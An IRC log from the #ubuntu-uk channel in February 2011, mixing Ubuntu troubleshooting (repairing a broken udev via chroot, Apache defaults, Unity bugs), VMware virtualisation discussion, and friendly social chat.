#ubuntu-uk 2011-02-21
<daftykins> all sorted with flash 10.2
<daftykins> i needed to create /etc/adobe/mms.cfg
<daftykins> and enable HWdecode with a config parameter in there
<daftykins> all working \o/
<russell__> Hi, I need some help getting X back - it appears that the Ati drivers have stopped x from displaying anything - anyone? I just need to set it back to normal pre-install ubuntu -state
<ball> I installed Ubuntu Netbook Edition for someone today.
<ball> It was slow to install, but worked once it was in there.
<HazRPG> updating pidgin
<Myrtti> myyh
<oldskool_> morning, How is everyone?  Can anyone help me fix my broken Ubuntu Machine?  Fails to boot, drops to a shell tried to fix it myself from the forums etc but no joy over the last couple of days.
<MooDoo> hello all
<oldskool_> hi Moo
<oldskool_> I believe udev is broken/not fully installed.  The shell mounts the filesystem as read only and I have no network connection.  How would I go about installing udev from a cd rom say?
<SuperMat1> you could log in with a live cd, then chroot to your filesystem
<SuperMat1> that's how I teend to fix things
<oldskool_> ok I know how to do that, then can i run a fix for udev? when i tried before it tries to install to the live version not the Installed version on the hard drive
<oldskool_> I will boot into the live cd now though
<oldskool_> how do i chroot into the filesystem? im now guessing it is different to just typing sudo su at a terminal?
<SuperMatt> this may be about grub, but it tells you how to do chroot in there: http://ubuntuforums.org/showthread.php?t=1581099
<oldskool_> hmm looking at the web it is a fair bit more involved than sudo su! lol
<oldskool_> thanks matt, taking a look now
<oldskool_> hi Matt, everything seemd to go ok except for the chroot command itself. I get the following. "chroot: failed to run command '/bin/bash':exec format error"
<oldskool_> i haved typed the command as per the guide above "sudo chroot /mnt/temp" the correct filesystem is mounted in temp etc
<oldskool_> Have used Ubuntu for years now this is the worst problem ive had, saying that I havent had many! woot!
<MartijnVdS> oldskool_: /mnt/temp/bin/bash does not exist, or you're running a 32-bit kernel and the /bin/bash in that chroot is 64-bit
<oldskool_> yes i was running 64, i imagine the live is 32 bit.  will rebooting using a 64 bit live cd help?
<oldskool_> /mnt/temp/bin/bash is present
<hoover> mornin all
<MartijnVdS> oldskool_: it should help, yes
<MartijnVdS> had the exact same problem on a coworker's laptop last week :)
<oldskool_> first chroot but looks like a handy tool :) will re-boot off of a 64bit live and give you an update in a bit
<oldskool_> running the new unity desktop on a netbook, quite pleased with it so far :)
<oldskool_> unity shell even or whatever it is :)
<DJones> Morning all
<MooDoo> DJones: morning
<DJones> Hi MooDoo
<dwatkins> hi folks
<MooDoo> morn
<hoover> mornin
<oldskool_> morning
<daubers> Morning
<JamesTait> Greetings, fellow Mondaymorningites! Best wishes for your journey!
<daubers> He's chipper! GET HIM
 * MartijnVdS grabs a pitchfork
<JamesTait> :D
<JamesTait> daubers: That's the thing with the internet - you can appear to be whatever you want to be. ;)
<daubers> JamesTait is Mr T?
<JamesTait> And I ain't gettin' on no plane, fool!
<oldskool_> MartijnVdS, wOOt, managed to get into a chroot! thanks for the pointers, now just need to fix everything!
<oldskool_> hmm i think i was properly broken! running "aptitude full-update" is installing lots of packages I assume this is ok?
<kazade> morning all o/
<daubers> WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
<oldskool_> o/
 * daubers is going to learn howto keep bee's at River Cottage in June!!!
<oldskool_> haha sounds fun, bet thats a good buzz
<daubers> Mums paying for it too \o/
<BigRedS> oldskool_: full-upgrade normally pulls in many new packages. What is it you're doing?
<BigRedS> or, perhaps rather, what is it you've just fixed
<oldskool_> BigRed5, I was not booting into the Filesystem, udev was broken, dropped to a maintenence shell with no write access to my filesystem and no network connection
<BigRedS> oldskool_: ahh, and you chrooted, fixed the issue, and are now back to booting how you should be?
<oldskool_> run a live cd and chroot into my Filesystem, tried dpkg-reconfigure udev to no joy etc etc
<oldskool_> just finished the update, attempting to reboot in a minute "Fingers crossed"
<oldskool_> any other commands to help clean up before i reboot?  I am by no means a power linux user but i know my way round a little, any suggestions?
<oldskool_> hmm udev is still broken.  the only error i am getting though is a warning about an "invalid character in revision number" for a few strings in various dpkg files
<oldskool_> uninstall and then install udev?  I dont like the sound of that..
<oldskool_> "dpkg --configure -a" --> "Processing was halted because there were too many errors" lol I think its broken!
<oldskool_> BigRedS, Rebooted and still broken, do I chroot agin and try some more cleanup / reinstall commands or does it appear to be proper broken?
<BigRedS> oldskool_: well, it does appear to be properly broken, but it's likely fixable
<BigRedS> I'm not entirely sure how, though
<BigRedS> you've a choice between a good lesson in dpkg/apt, versus a perhaps simpler reinstall. I'd go with teh former, but I'm not in much of a position to teach
<oldskool_> BigRedS, Hmm thats my thinking, I will play around for a bit longer.  Have been using ubuntu for about 7 years or so now so its about time I learn a little more i suppose!  Thanks for the pointers
<BigRedS> if the errors aren't plentiful, it may be worth either fixing the files by hand, or chrooting to reinstall or remove those packages
<BigRedS> oldskool_: it's no problem - I've been doing it a bit longer and have still somehow avoided having to get too far into fixing dpkg. I'm still not sure if this is a good thing or a bad thing :)
<andylockran> hey guys
<andylockran> where's the default apache landing page stored on ubuntu
<andylockran> need to set it as the page for a site
<bigcalm> Web browser page?
<bigcalm> Oh apache
<andylockran> the default 'You have installed apache correctly' .etc
<bigcalm> It's /var/www/
<andylockran> or it is just 'It Works'
<bigcalm> I have no idea why my eyes just skipped the word "apache" in your question. Most odd
<tugrik> it's /var/www isn't it?
<andylockran> I may have deleted it from that location :)
<tugrik> so just write an index.html in /var/www ?
<andylockran> /usr/share/apache2/default-site/index.html
<andylockran> not the pretty page you get on CentOS, but good enough nonetheless.
<BigRedS> tugrik: you need to remove the redirect from /etc/apache2/sites-available/default too
<tugrik> ah, useful to know, cheeers BigRedS
<tugrik> can you tell my apache setups are usually just to support BeEF or monit or something similar ;)
<BigRedS> tugrik: I
<BigRedS> 've forgotten that bit on *every* new Apache install I've ever done, I'm pretty sure
<BigRedS> always a brief "wait, why are you doing that? ohhhh yeah..."
<Myrtti>  I wish I could sleep
<bigcalm> Myrtti: get drunk
<Myrtti> I can't until my sister comes from work
<MooDoo> how is everyone today?
<s-fox> Hello.
<MooDoo> s-fox, good morning
<s-fox> Hello MooDoo  :)
<MooDoo> s-fox, how are you today?
<s-fox> I'm alright thank you, how are you ?
<MooDoo> s-fox, very well thank you
<selinuxium> Morning  all   o/
<s-fox> Hello selinuxium
<s-fox> How are you ?
<selinuxium> s-fox, not bad thank you. You?
<s-fox>  I'm alright thank you
<andylockran> howdy guys
<selinuxium> Great stuff :)
<s-fox> Hello andylockran
<selinuxium> Hey andylockran   o/
<selinuxium> Just got a response back from the Ubuntu Training Team regarding the Ubuntu Professional exam.... They have officially discontinued the Ubuntu 199 exam...  I find this worrying tbh... I feel one of the reasons business turn to Novell/Redhat is there are accredited engineers... With no professionals, how do you sell it to the business?
<lubotu3> Ubuntu bug 199 in Baz (deprecated) ""baz export" doesn't add to the revision library" [Medium,New] https://launchpad.net/bugs/199
<selinuxium> Shhhh bot... :)
<MooDoo> selinuxium, so there are no official ubuntu exams any more?
<selinuxium> MooDoo. Nope.
<BigRedS> selinuxium: dammit. I've still got a voucher for ubuntu 199 knocking around
<lubotu3> Ubuntu bug 199 in Baz (deprecated) ""baz export" doesn't add to the revision library" [Medium,New] https://launchpad.net/bugs/199
<MooDoo> selinuxium, oooo no, did they give you a reason?  lack of interest?
<davmor2> morning all
<davmor2> MooDoo:
<MooDoo> morning davmor2 how are you laddi?
<MooDoo> laddo even
<selinuxium> I am an LPIC 101 /102 and a Novell Network Administrator..  but now I can't get accredited to work with the system I want to use...
<MooDoo> selinuxium, booooooooo
 * MooDoo hasn't played with netware in aaaaages
<selinuxium> MooDoo, :) This is probably a good thing...
<davmor2> MooDoo: I thought you were calling me a Lady for one horrific moment,  I was going to don't confuse me with czajkowski
<MooDoo> selinuxium, well if it's not netware, it's windows server which i'm doing certification in .....shhhhhhhh
<selinuxium> I am in the process of moving out core infrastructure from Suse to Ubuntu...
<MooDoo> davmor2, a very lovely lady....in little britain mode....
<selinuxium> The training budget has me down for the Ubuntu 199... Now I have to go back to my boss and say that I can't get accredited...   :/
<lubotu3> Ubuntu bug 199 in Baz (deprecated) ""baz export" doesn't add to the revision library" [Medium,New] https://launchpad.net/bugs/199
<n1md4> who can I contact about ubuntu-uk/where-are-we?
<selinuxium> Again bot... Shhhh....
<andylockran> what's 119 ?
<DJones> n1md4: AlanBell is you're best bet for that
<andylockran> or 199 even :s
<selinuxium> andylockran, 'was' the official Ubuntu Professional exam..,.
<selinuxium> You can still take the exam in a Prometric Test centre until end of June... but seems a little pointless...
<AlanBell> n1md4: o/
<n1md4> Ah cool :)
<n1md4> AlanBell: sent you a private message, would you like it posted here?  Thought I'd save the channel spam.
 * AlanBell flips to window 84
<n1md4> heh!
<DJones> 84 windows, And I thought 14 windows was enough
<n1md4> How can you switch to windows over single digits?
<andylockran> alt+q
<andylockran> etc
<andylockran> or ctrl-p for next window
<DJones> n1md4: Or "/window 35" etc
<n1md4> Ah!
<n1md4> That's what I was looking for, thanks.
<DJones> I've got "/w" aliased to "/window" though to make it easier /w 35 :)
<dwatkins> wow, qemu is version 0.14, I wonder if it's actually stable yet... ;)
<dwatkins> DJones: I assume you can't use a key-combination for that
<mungojerry> wow i switched the acrobat reader plugin in firefox for embedded evince for reading pdf's ...notice the difference in speed!
<BigRedS> I keep being amused by how crap Adobe's pdf reader plugin is
<mungojerry> adobe excel at being crap
<mungojerry> does anyone remember anything about vmware gsx? i have an old vmware server hosting a few vm's any i want to find out about the vm's it is running
<andylockran> anyone used gluster - looks neat./
<MooDoo> mungojerry, not got access to the infrastructure client?
<popey> morning all!
<MooDoo> morning popey
<mungojerry> moodoo, just command line
<mungojerry> i've figured out that vmrun list gives me almost what i need
<mungojerry> next step migrate to esxi :P
<MooDoo> mungojerry, i'm running 3.5....:p
<mungojerry> esxi 3.5?
<MooDoo> mungojerry, yeah, only have a 32bit processor lol
<mungojerry> i installed esx4 last year on a big new install cos it was recommended, then discovered that esx is going away and esxi is the future
<mungojerry> although at the time, esxi didn't have certain features
<MooDoo> mungojerry, http://www.cyberciti.biz/tips/vmware-list-all-running-vms-command.html
<mungojerry> esxi 4.1 now has more features which were present in esx
<dwatkins> I tried ESXi but the trial is ony 60 days for the client
<MooDoo> mungojerry, don't have 64bit cpu lol
<MooDoo> dwatkins, are you sure?
<mungojerry> what CPU moodoo ? your virtualisation performance must be terrible
<dwatkins> MooDoo: yeah, the VSphere client said it had 60 days to go, also there was no browser version of the client.
<MooDoo> mungojerry, only running 3 vm's on it.....not doing a lot to be honest
<mungojerry> ok :P
<MooDoo> i'll upgrade when i get another machine to install it onto
<dwatkins> MooDoo: also, I only have a single server, so vmware server 2.x seems good enough
<mungojerry> dwatkins , the vsphere trial is 60 days but the esxi you can access directly from the vmware windows client, or the web interaface
<MooDoo> +1 which is what i do with my stuff
<MooDoo> infact i run the client from a vm lol
<dwatkins> mungojerry: I tried the web interface, but it just had a link to the client download
<mungojerry> i need to do that with my DR site since it's unclear what the licence allows
<dwatkins> also, using ESXi wasn't any advantage to me - it still wouldn't integrate with LDAP
 * mungojerry is upset that he has to use a windows machine to run vsphere client
<dwatkins> mungojerry: me too
<MooDoo> you can use remote cli under linux/mac if you wanted to
<mungojerry> quite tricky though moodoo -  i am doing live migrations etc
<dwatkins> the vmware server I have is a linux machine, I was wondering if there were command line tools to boot, shutdown etc.
<dwatkins> boot a vm, that is
<mungojerry> the cli is good for scripting iscsi stuff though
<mungojerry> dwatkins, there's a CLI vm that you can run
<mungojerry> that gives enhances cli features
<dwatkins> mungojerry: interesting, I need console access really, for web browsers and server software which uses the browser
<mungojerry> see if this helps on the console front: http://www.vmware.com/support/developer/vima/
<dwatkins> thanks mungojerry
<mungojerry> i tried getting rhev from redhat but they didn't want to sell it to me
<mungojerry> i think the product was unfinished, depended on windows AD, and the staff knew nothing about it :P
<dwatkins> indeed, mungojerry - sadly there's a problem with PAM libraries which means even though I went to great pains to get the server to authenticate (with ssh for example) with the LDAP domain, I can't use those logins for vmware server
<dwatkins> 32-bit libraries only, and I have an x86_64 server
<mungojerry> dwatkins, why do you need ldap integration with the vmware server?
<dwatkins> mungojerry: just so it's easier to login - so people don't have to remember yet another login
<mungojerry> ah, i just read "MooDoo: also, I only have a single server, so vmware server 2.x seems good enough"
<mungojerry> i'm in the process of virtualising our whole machine room
<MooDoo> yay o/
<mungojerry> which has some other non-obvious benefits
<mungojerry> besides power & space saving, etc , a well setup system allows redundancy of network switches
<dwatkins> mungojerry: yeah, I'm sure you can do a lot of really cool stuff with a big installation
<mungojerry> our network switches don't have dual power supplies, so the freedom to poweroff a switch and know that you vmware system is fully redundant is great
<dwatkins> what provides that redundancy, MooDoo?
<MooDoo> think that's for you mungojerry
<mungojerry> :P
<mungojerry> setting up virtual nics on the esxi server
<dwatkins> aha handy, mungojerry
<mungojerry> 1 virtual NIC : 2 physical interfaces
<mungojerry> almost seamless redundancy if a nic, switch , or cable fails
<dwatkins> Can you also move a virtual machine from one physical host to another without downtime?
<mungojerry> oh yes
<mungojerry> live migration
<dwatkins> that is impressive
<MooDoo> vmotion :)
<mungojerry> is a feature of vsphere advanced
<MooDoo> love that feature
<mungojerry> we didn't buy the feature that automatically balances your hosts for performance though
<dwatkins> I'm still impressed when I don't need a pair of scissors to open a MicroUSB cable package... ;)
<mungojerry> live migration is particularly useful when applying patches to vmware
<mungojerry> just move all the vm's off and patch/reboot, with no downtime
<mungojerry> repeat and rinse with the other servers
 * MooDoo is currently saving for his vmare certification.....
<MooDoo> s/vmare/vmware
<mungojerry> which course is that?
<MooDoo> VCP
<mungojerry> i should consider that too
<MooDoo> vmware certified professional
<mungojerry> Â£Â£
<mungojerry> ?
<MooDoo> couple of k
<MooDoo> they won't let you take the exam unless you do a 5 day course.....or something like that.
<MooDoo> you can't just take the exam
<mungojerry> are you allowed to jump to the VCAP
<MooDoo> don't know
<mungojerry> probably not...swines
<mungojerry> :P
<MooDoo> no, you need to be VCP4
<MooDoo> http://mylearn.vmware.com/mgrReg/plan.cfm?plan=16657&ui=www_cert
<MooDoo> well that's for dc administration
<davmor2> MooDoo: Shame I was looking forward to seeing you ride in on your virtual mare :D
<MooDoo> davmor2, as czajkowski would say....oi shush
<davmor2> Hah!
<mungojerry> virtualisation is a good skill, cos it will surely stay around..unfortunately the skills are rather vendor dependent and release specific :S
<czajkowski> it's shrup in fact
<mungojerry> i thougt we had bored everybody else into submission :P
 * bigcalm looks in
<davmor2> czajkowski: I see you talking but you're not here so I can blatantly ignore you :D
<czajkowski> I am here
 * MooDoo hugs czajkowski just coz he's feeling brave today
 * mungojerry wonders what the worst named application in ubuntu is. baobab is a contender methinks
<mungojerry> and choqok
<bigcalm> Mono ;)
<MooDoo> pidgin
<MooDoo> :D
<directhex> libcaca
<directhex> wait.....
<directhex> toilet
<mungojerry> =-O
<mungojerry> somebody asked me to install an app called sextractor
<DJones> isn't there an app called pornview as well
<DJones> !info pornview
<lubotu3> pornview (source: pornview): Image and movie viewer/manager. In component universe, is optional. Version 0.2pre1-11ubuntu1 (maverick), package size 211 kB, installed size 624 kB
<daubers> Bah, beat me to it
<mungojerry> !info sextractor
<lubotu3> sextractor (source: sextractor): source extractor for astronomical images. In component universe, is extra. Version 2.4.4-1 (maverick), package size 1103 kB, installed size 1656 kB
<daubers> No-ones mentioned the GIMP
<mungojerry> true!
<BigRedS> I always find it fun when I introduce the gimp ot people
<mungojerry> for about 1 second
<BigRedS> I always find it fun when I introduce the gimp ot people
<BigRedS> oop. up+enter in the wrong pane
<ali1234> what exactly is the reason for history on an irc client anyway?
<MooDoo> in case you need to repeat something quickly?
<MooDoo> in case you need to repeat something quickly?
<MooDoo> like that :)
<ali1234> so it's just for spamming?
<mungojerry> it could also be used to correct typos, although substition s/old/new/ is better etiquette
<MooDoo> well i'd use it if i needed to repeat a link to someone and didn't want to type it all out again
<ali1234> people who correct every typo they make are a bit annoying
<dwatkins> I tend to use it quite a lot, also it's handy if I want to tell different groups of people the same thing.
<bigcalm> mungojerry: not everybody knows what s/a/b/ is
<mungojerry> running natty is rewarding since there's always 200MB of updates waiting each day :)
<BigRedS> nah, but IRC's as good a place as any to see it
<ali1234> !info libqt4-dev natty
<lubotu3> libqt4-dev (source: qt4-x11): Qt 4 development files. In component main, is optional. Version 4:4.7.1-0ubuntu9 (natty), package size 2862 kB, installed size 27928 kB
<mungojerry> xserver-xorg seems to be getting daily activity
<dwatkins> I noticed there's been an update, mungojerry - I wonder why it's suddenly so active
<mungojerry> compiz + xserver having been very unstable for me
<mungojerry> getting marginally better though
<BigRedS> there's been lots of complaints about xserver in natty, I thought
<mungojerry> i'm giving unity a good go and will report bugs, although not convinced yet, but improving all the time
 * popey notes he was unfollowed by kirrus 
 * popey sobs uncontrollably
<BigRedS> kirrus has just left the building. I'll make him feel guilty when he gets back
 * soneill follows popey just so that he can unfollow him shortly after
<gord> following popey is part of my job, how else would i know about all the things that are wrong with ubuntu ;)
<pr0ph3t> hi all
<mungojerry> radiators in my office are cold...going outside to warm up
<pr0ph3t> is there a program available for ubuntu that would allow me to change the order of the pages of a pdf file?
<dwatkins> pr0ph3t: I gather there are many PDF editors for Ubuntu
<mungojerry> i've used command line pdftk in the past but there are certainly GUIs such as pdf-shuffler available in the software centre
<pr0ph3t> dwatkins, I tried a few, even tried to convert the file with calibre but it ends up being a big job to sort it out
<pr0ph3t> maybe pdf-shuffler
<dwatkins> What do you need to do, pr0ph3t?
<pr0ph3t> I simply need to change the positions of a few pages
<pr0ph3t> page 15 is actually page 18 and many other
<dwatkins> I'm just wondering if it might be easier to get the document changed at the source
<dwatkins> as for PDF editors, there are lists of them online, I can't vouch for any in particular, though.
<pr0ph3t> dwatkins, I tried a few but the document needs heavy editing not just page shifting unfortunately (when I try to edit it at least)
<pr0ph3t> otherwise it's just a normal pdf file with the page order a bit mixed
<mungojerry> to simply switch order of pages in a doc then pdf-shuffler is simple
<mungojerry> it's difficult to submit compiz bugs when it crashes because you can't type or even run alt-f2
<mungojerry> :(
<pr0ph3t> mungojerry, I added the run application to the panel
<pr0ph3t> or the terminal
<mungojerry> everything disappears when compiz crash :P
<mungojerry> managed to type in the firefox window now ..
<davmor2> mungojerry: is this on natty?
<davmor2> mungojerry: if it's on natty one of 2 things should happen 1: a box appears saying restart compiz or you need to drop into a tty (alt-ctrl-F1, for example) and type in "unity --reset"
<davmor2> + or 2:
<brobostigon> afternoonings everyone.
<popey> lo
 * popey tickles gord
<kirrus> Of course, BigRedS left the building just as I entered...
 * popey suspects kirrus and BigRedS are the same person.
<popey> never see them together
<kirrus> popey: yup. Was trying to drop the amount of noise in my twitter feeds...
<popey> I am officially "noise" :)
 * BigRedS installs the Gimp
<kirrus> popey: no you're not, but you almost never @ me, and I use twitter more for conversation :)
<kirrus> http://yfrog.com/gz13006326j
<kirrus> poor BigRedS looking very confused
<popey> heh
<BigRedS> I'm not used to being accosted by an iphone as I walk into the building
<mungojerry> davmor2 unity --reset, cheers i'll try that next time -
<gord> mungojerry, davmor2 - actually unity --reset rests all the settings, just unity will do
<davmor2> gord: oh nice tip
 * daubers prepares a long shouting at the VW garage
<daubers> Top tip! Never deal with the sales people at Ridgeway VW in Newbury
<mungojerry> you mean sales people at $CAR_DEALER in $TOWN
<popey> $RESPONSE
<daubers> mungojerry: Bah, just had an interesting chat with the DVLA, apparently I'm not the registered owner of my car. I suspect the paperwork is still on the sales guys desk after 3 months
<popey> you've sent off your part?
<daubers> Yup
<mungojerry> lol, well he's got his money already, job done for him
<mungojerry> interestingly i went into car giant in west london and they all use opensuse on the desktop
<daubers> Still got the little green slip too
<Baikonur> "The Real Hustle investigated over fake scam allegations"
<Baikonur> oh the irony
<jpds> mungojerry: Waren sie Deutsch?
<DJones> mungojerry: I can understand that feeling, working at a company where must of the staff are sales people, once the sale is made, paperwork does seem to take a back seat to the next sale they're chasing
<popey> mungojerry: which one?
<popey> hello jaustin
<popey> \o/ arm :)
<mungojerry> jpds , popey, i think there's only one cargiant
<popey> ahh
<mungojerry> whoever installed their IT system realised that the main function is through a web browser, so why not give everyone a free desktop
<jaustin> hi popey
<mungojerry> when u buy a car, they process everything through a web interface
<mungojerry> the funny thing i my wife noticed they were running linux before me :)
<BigRedS> mm, I noticed toolstation use something gnomey on their POSs
<mungojerry> shuttleworth just commented on bug 713087
<lubotu3> Error: Could not parse data returned by Launchpad: list.index(x): x not in list (https://launchpad.net/bugs/713087)
<mungojerry> https://bugs.launchpad.net/ayatana-design/+bug/713087
<lubotu3> Error: Could not parse data returned by Ubuntu: list.index(x): x not in list (https://launchpad.net/bugs/713087)
<mungojerry> quiet, botty
<BigRedS> it's bugs like that that're putting me off unity, tbh
<BigRedS> this far in, and it still takes a bug report to get a resizable dock?
<gord> BigRedS, we haven't even hit feature freeze yet
<mungojerry> bigreds, how far in are they though? still a v long way to go , except that development is being done in the open
<BigRedS> gord: no, I know. But it's shipping in April, isn't it? I was just expecting it to be more feature complete by now
<BigRedS> hopefully, development will be much quicker than I think :)
<gord> BigRedS, you are welcome to help out
<mungojerry> can someone help me with a unity question? in docky, when i have multiple terminal windows open, i right click on the icon to get a list of terminal window titles so i can choose which session i want to bring to focus. how can i do that in unity?
<popey> oooh, good one, i have no idea how to do that
<davmor2> mungojerry: you should be able to left click on it and they all apear
 * bigcalm pokes css with a stick
<hoover> hey biggie
<mungojerry> davmor2, i have 40 terminal windows open, i only want to choose the ssh session to server4 not all 40
<bigcalm> Howdy hoovie :)
<gord> mungojerry, its an expose thing, you click twice (or once if a terminal is already focused) then select the one you want
<gord> there is no feature that lists the titles of all your windows
<mungojerry> :( this is pretty much what i do all working day
<gord> mungojerry, you might want to invest in terminator, its much more suited to what you want
<bigcalm> vertical-align isn't doing what it's meant to
<mungojerry> gord, thanks , i checked it out a while back, but wasn't really fitting my needs with the amount of sessions I have open. if window list is not available and i really wanted to use unity in spite of it, then i'd have to use tabs, but its sad when upgrades force you to work differently,
<BigRedS> gord: Once I'm back in a position where I have a PC that I can afford to be not working (soon!), I'll give natty another go on real hardware. But right now having a working PC is more important (to me) than a working unity.
<directhex> i think i'll delay updating to natty for longer than usual this cycle
<popey> I'm kinda regretting it
<popey> gord: did you see my mention of windows creeping across the screen?
<gord> popey, nope
<popey> if i have two windows open not-full screen, and move one over to the left obscuring the unity bar thing, then alt tab repeatedly between them the windows creep over the screen
<mungojerry> popey, i can replicate that too
<popey> I'll file a bug when i get home
<popey> or if you do, I'll confirm it
<popey> I'll probably screencast it to show
<mungojerry> all yours
<popey> "thanks
<gord> can't reproduce here
<popey> :)
<gord> grr, server won't get to a point where i can ssh in
<gord> fustrating
<mungojerry> have just seen a clip about the motorola atrix phone - android on the move, then plus into laptop dock and runs a splashtop style linux OS
<popey> looks expensive
<AlanBell> looks bigger than a streak
<mungojerry> any RMS fans: http://www.theiet.org/local/uk/london/central-Mar2011.cfm
<popey> "fans"
<mungojerry> :D
<mungojerry> 2000-2130 Networking : opportunity to hand out Ubuntu CDs :P
<mungojerry> RMS would prefer Debian of course
<BigRedS> I thought he disapproved of debian too?
<BigRedS> up til squeeze at least, for the proprietary firmware
<directhex> rms disapproves of debian
<mungojerry> what does he use then?
<BigRedS> gnusense?
<directhex> he doesn't consider it a Free distro, because it's possible to use non-free firmware & licenses
<AlanBell> Congratulations! You have successfully registered to attend this event and you have been allocated a place.
<mungojerry> :)
<mungojerry> thought u guys might like it
<directhex> i.e. even though Debian is a completely Free distro, he hates the mere *ability* to choose to use non-free software, so disrecommends debian
<mungojerry> if RMS didn't exist he'd have to be invented.
<ali1234> so what distribution actively prevents you from using non-free software?
<gord> okay thats just crap, ubuntu server if it doesn't get all the way through a boot (moved some stuff, power cable got tugged a few times), on the next boot i sware, it will just sit at grub
<AlanBell> debian has the non-free and contrib repo
<popey> there is one that modifies firefox so it cant use non-free extensions
<mungojerry> Emacs OS
<gord> so i had to go and find a monitor and a keyboard, plug them in, just to find out it needed me to press return
<popey> gord: yeah, it also sits there if a disk cant be mounted
<popey> e.g. usb disk not attached
<BigRedS> directhex: his wording, I think, is that it's too easy, and almost encouraged
<ali1234> i wasn't aware that elf format had a "licence" tag
<ali1234> i know kernel modules have it
<BigRedS> it's always *possible* to use non-free, but he'd rather it was less easy than uncommenting and apt-get updating
<directhex> BigRedS, "o noez, computers aren't hard enough :'("
<BigRedS> directhex: well, he's an emacs user, we know his views on ease of use :)
<gord> does Daviey work on ubuntu server? i'm not even sure, i feel like someone needs to be yelled at
<directhex> you can't even install debian anymore without an extra usb stick containing all the useful bits they stripped, and he moans it's too easy... Â¬_Â¬
 * Daviey runs.
<BigRedS> I thought there was going to be an official roll of debian isos that did contain the non-free firmware, it'll just be listed as an alternative?
<BigRedS> someone, somewhere, told me that was the/a plan
<Daviey> gord, Sounds like you need to yell at foundations, not server :)
<gord> Daviey, but you are closer!
<gord> geez its hard to tab complete da* people
<ali1234> anyway, i've been to an RMS gig before. the best part is the QA section where all the butt-hurt software engineers in the audience complain about how they can't make a living from free software and he just sits there and tells them he doesn't care, he's not going to pay for their software either way, while looking like troll-face guy
<dutchie> haha
<Daviey> gord, looks like cjwatson is nearer to you than me :)
<dutchie> i saw knuth last week
<Daviey> gord, pay him a visit :)
<dutchie> knuth was upset when no-one laughed at his naming one of the nodes in a directed graph the "open source"
<mungojerry> http://richard.stallman.usesthis.com/ : To initialize the machine and boot, it uses PMON. Above that, it uses gNewSense, one of the totally free GNU/Linux distros. Jan 23 2010
<BigRedS> I do like that his way round accidentally hitting the touchpad is to just not run X
<mungojerry> he sounds like one of the professors un my dept
<mungojerry> LOLliest thing i've read all day :)
<gord> things i learnt, the ubuntu one music store actually sells music videos too
<BigRedS> people buy music videos?
<gord> sure, why not?
<directhex> because they're meant to be a promotional tool for the music, i.e. they're adverts
<davmor2> gord: but can you buy them and play them?
<directhex> but yes, i've bought some music videos before
<BigRedS> just wasn't something that had ocurred to me, really. I don't know anyone who sits down to watch a music video
<gord> davmor2, seems you can, has a bunch of formats, mpeg was one of them
<gord> not tried it though
<gord> i just wanted kim wildes kids in america
<DJones> BigRedS: I guess that gets rid of MTV's income streams then :)
<davmor2> gord: that's the crunch it might be disabled
<gord> davmor2, nope, you are warned that its not an mp3 but thats bout it
<davmor2> BigRedS: there are more music channels on sky and virgin than any other type
<DJones> davmor2: Lies, Lies, Have you seen how many price drop/bid up/we've got tacky junk to sell to mugs/customes gullible enough to buy it  type channels there are
<BigRedS> there's depressingly few channels with actual good programming on :(
<davmor2> DJones: nearly as many as music channels I'm sure :D
<Adriannom> lo
<Adriannom> anyone know if the hp multiseat t100 is any good with ubuntu? http://h10010.www1.hp.com/wwpc/us/en/sm/WF06b/12454-12454-321959-338927-3641157-4084245-4084246-4097911.html - or does anyone have any alternative suggestions for having a screen in both the living room & kitchen running off the pc in the attic?
<DJones> 13:28 < soreau> monkeyD: GLX_EXT_texture_from_pixmap
<DJones> Grr, stupid middle click
<popey> Adriannom: dunno but their specs lie
<popey> "http://h18000.www1.hp.com/products/quickspecs/13526_na/13526_na.html"
<popey> says "USB Type A connector" but the diagram shows a "B" connector
<Adriannom> heh, the detailed specs don't seem accurate eitehr
<Adriannom> mentions ethernet port but i'm not sure it has any
<popey> looks like the server does
<popey> but the "clients" all connect via usb
<Adriannom> i see
<gord> Adriannom, my suggestion would be an elaborate set of mirrors
<popey> pulleys! you forgot pulleys!
<Adriannom> lol gord
<Adriannom> the pulleys instead of a switch for the kb and mouse?
<Adriannom> found something vague on ltsp hardware.  maybe it's all vague because it's all plug and play or something
<Adriannom> still, i hate to guess
<Myrtti> ho-hum.
<popey> apparently they are DisplayLink adapters inside those boxes
<popey> inside the t150s
<Adriannom> popey, is that a good thing or a bad thing?
<popey>  no idea :)
<popey> just gives you something to google for ;)
 * AlanBell has a displaylink adapter
<Adriannom> thanks :)
<daubers> DisplayLink is HDMI without the content protection stream afaik
<AlanBell> daubers: nope
<daubers> AlanBell: Thats what the man from tosh said it was
<Adriannom> usb to dvi or vga by the look
<AlanBell> it is a framebuffer on a USB device
<popey> yup
<AlanBell> daubers: those words might be used in different contexts, but this thing is a framebuffer on USB
<daubers> Ah, I'm thinking of displayport aren't I
<AlanBell> probably
<AlanBell> plug it into ubuntu and you get the green screen which means the kernel has recognised it
<AlanBell> with some messing about you can get X to kinda work on it
<daubers> The morrisons cafe is rubbish
<AlanBell> http://lists.freedesktop.org/mailman/listinfo/libdlo <- displaylink driver mailing list
<bigcalm> czajkowski: Pendulum: http://s7ondemand4.scene7.com/is/image/Signet/4461444?$detail$
<czajkowski> bigcalm: ohhhh
<czajkowski> bigcalm: very pretty
<bigcalm> :)
<bigcalm> Got it on Saturday, Hayley is a very happy girly :)
<czajkowski> bigcalm: did ye pick it out together ?
<DJones> bigcalm: I bet you don't get many of those in a Haribo packet
<popey> heh
<bigcalm> DJones: haha
<bigcalm> czajkowski: we did
<czajkowski> bigcalm: so happy for ye, well done
<daubers> bigcalm: Blimey
<bigcalm> czajkowski: I took her to every jewllers in Worcester. We ended up with very sore feet, but happy none the less
 * daubers got his missus' engagement ring from ebay
<Pendulum> bigcalm: nice :)
<popey> very nice bigcalm
<bigcalm> Thank you :)
<Lunchie> Lo people
<daubers> bigcalm: Got any date for the big day?
<bigcalm> Everybody keeps asking that, most strange
<popey> :)
<czajkowski> bigcalm: why strange?
<bigcalm> No date set
<popey> ours was exactly 1 year
<daubers> Ours was 4.5 years
<bigcalm> We're still saving for a mortgage deposit
<popey> wow
<BigRedS> kernely people: what's the difference between HIGHMEM4G and HIGHMEM64G (besides the '6')?
<czajkowski> popey: how long had ye being going out before that ?
<BigRedS> why would one choose just the 4?
<daubers> bigcalm: Top tip, keep an eye on any wedding dress shops you pass, sales are definatley worth it in this case
<bigcalm> daubers: noted
